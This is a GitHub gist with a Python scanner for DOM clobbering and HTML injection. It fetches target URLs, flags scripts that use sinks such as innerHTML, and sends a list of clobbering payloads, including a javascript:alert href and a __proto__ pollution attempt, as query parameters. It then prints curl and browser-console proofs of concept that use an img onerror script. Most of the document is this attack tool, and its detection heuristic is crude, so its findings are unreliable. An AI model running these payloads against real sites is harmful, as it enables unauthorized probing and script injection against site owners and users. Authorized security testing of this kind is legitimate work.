Created
July 25, 2024 12:58
-
-
Save queencitycyber/68ba43112fbf2cfcf99d454f83a90345 to your computer and use it in GitHub Desktop.
identify and exploit potential DOM (Document Object Model) clobbering vulnerabilities in web applications
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import asyncio | |
import aiohttp | |
from typing import List | |
import click | |
from rich.console import Console | |
from rich.progress import Progress | |
from rich.table import Table | |
from bs4 import BeautifulSoup | |
import re | |
import json | |
import html | |
console = Console() | |
DOM_CLOBBERING_PAYLOADS = [ | |
'<a id="x"><a id="x"><a id="x">', | |
'<form id="x"><form id="x"><form id="x">', | |
'<a id="x"><a id="x" name="y">', | |
'<img id="x"><img id="x"><img id="x">', | |
'<a id="innerHTML"><a id="innerHTML" name="y">', | |
'<a id="defaultMessage"><a id="defaultMessage" name="innerHTML" href="javascript:alert(1)">', | |
'<a id="__proto__"><a id="__proto__" name="vulnerable" href="true">' | |
] | |
async def test_single_url(url: str, session: aiohttp.ClientSession) -> dict: | |
result = {"url": url, "vulnerable": False, "details": [], "proof": [], "poc": []} | |
try: | |
async with session.get(url) as response: | |
content = await response.text() | |
soup = BeautifulSoup(content, 'html.parser') | |
# Check for potential DOM clobbering vectors | |
scripts = soup.find_all('script') | |
for script in scripts: | |
if script.string and re.search(r'(\.innerHTML|\.outerHTML|\.textContent|\.innerText|document\.write)', script.string): | |
result["vulnerable"] = True | |
result["details"].append("Potential DOM clobbering vector found in script") | |
result["proof"].append("Vulnerable pattern: {}".format(re.search(r'(\.innerHTML|\.outerHTML|\.textContent|\.innerText|document\.write)', script.string).group())) | |
# Create a more usable PoC | |
script_content = html.unescape(script.string.strip()) | |
poc_script = ( | |
"// Original script content (for reference):\n" | |
"/*\n{}\n*/\n\n" | |
"// Modified script to demonstrate vulnerability:\n" | |
"var div = document.createElement('div');\n" | |
"document.body.appendChild(div);\n" | |
"div.innerHTML = '<img src=x onerror=alert(\"DOM Clobbering vulnerability\")>';\n" | |
"// Optionally, you can replace the above line with the vulnerable part of the original script" | |
).format(script_content) | |
result["poc"].append("In browser console, execute the following script:\n\n{}".format(poc_script)) | |
break | |
# Test with payloads | |
for payload in DOM_CLOBBERING_PAYLOADS: | |
encoded_payload = payload.replace('<', '%3C').replace('>', '%3E') | |
test_url = "{}?test={}".format(url, encoded_payload) | |
async with session.get(test_url) as test_response: | |
test_content = await test_response.text() | |
if payload in test_content: | |
result["vulnerable"] = True | |
result["details"].append("Potential DOM clobbering with payload") | |
result["proof"].append("Payload reflection: {}".format(payload)) | |
result["poc"].append("curl '{}'".format(test_url)) | |
except Exception as e: | |
result["details"].append("Error: {}".format(str(e))) | |
return result | |
async def test_urls(urls: List[str]) -> List[dict]: | |
async with aiohttp.ClientSession() as session: | |
tasks = [] | |
for url in urls: | |
task = asyncio.ensure_future(test_single_url(url, session)) | |
tasks.append(task) | |
results = [] | |
with Progress() as progress: | |
task = progress.add_task("[cyan]Testing URLs...", total=len(urls)) | |
for future in asyncio.as_completed(tasks): | |
result = await future | |
results.append(result) | |
progress.update(task, advance=1) | |
return results | |
def display_results(results: List[dict], show_poc: bool, show_proof: bool): | |
table = Table(title="HTML Injection via DOM Clobbering Scan Results") | |
table.add_column("URL", style="cyan", no_wrap=True) | |
table.add_column("Vulnerable", style="magenta") | |
table.add_column("Details", style="green") | |
if show_proof: | |
table.add_column("Proof", style="blue") | |
if show_poc: | |
table.add_column("PoC", style="yellow") | |
output_data = [] | |
for result in results: | |
if result["vulnerable"]: | |
vulnerable = "Yes" | |
details = "\n".join(result["details"]) | |
row = [result["url"], vulnerable, details] | |
output_data.append({"url": result["url"], "details": details}) | |
if show_proof: | |
proof = "\n".join(result["proof"]) | |
row.append(proof) | |
output_data[-1]["proof"] = result["proof"] | |
if show_poc: | |
poc = "\n".join(result["poc"]) | |
row.append(poc) | |
output_data[-1]["poc"] = result["poc"] | |
table.add_row(*row) | |
console.print(table) | |
return output_data | |
def save_to_file(data, filename): | |
with open(filename, "w", encoding="utf-8") as f: | |
for item in data: | |
f.write("URL: {}\n".format(item['url'])) | |
f.write("Details: {}\n".format(item['details'])) | |
if 'proof' in item: | |
f.write("Proof:\n") | |
for proof in item['proof']: | |
f.write(" {}\n".format(proof)) | |
if 'poc' in item: | |
f.write("PoC:\n") | |
for poc in item['poc']: | |
f.write(" {}\n".format(poc)) | |
f.write("\n") | |
@click.command() | |
@click.option('--url', help='Single URL to test') | |
@click.option('--file', type=click.File('r'), help='File containing URLs to test') | |
@click.option('--poc', is_flag=True, help='Output PoC details') | |
@click.option('--proof', is_flag=True, help='Output proof of vulnerable code') | |
def main(url, file, poc, proof): | |
if url: | |
urls = [url] | |
elif file: | |
urls = [line.strip() for line in file if line.strip()] | |
else: | |
console.print("[bold red]Please provide either a URL or a file containing URLs.[/bold red]") | |
return | |
results = asyncio.run(test_urls(urls)) | |
output_data = display_results(results, poc, proof) | |
if poc or proof: | |
output_filename = "dom_clobbering_results.txt" | |
save_to_file(output_data, output_filename) | |
console.print("[green]Results saved to {}[/green]".format(output_filename)) | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment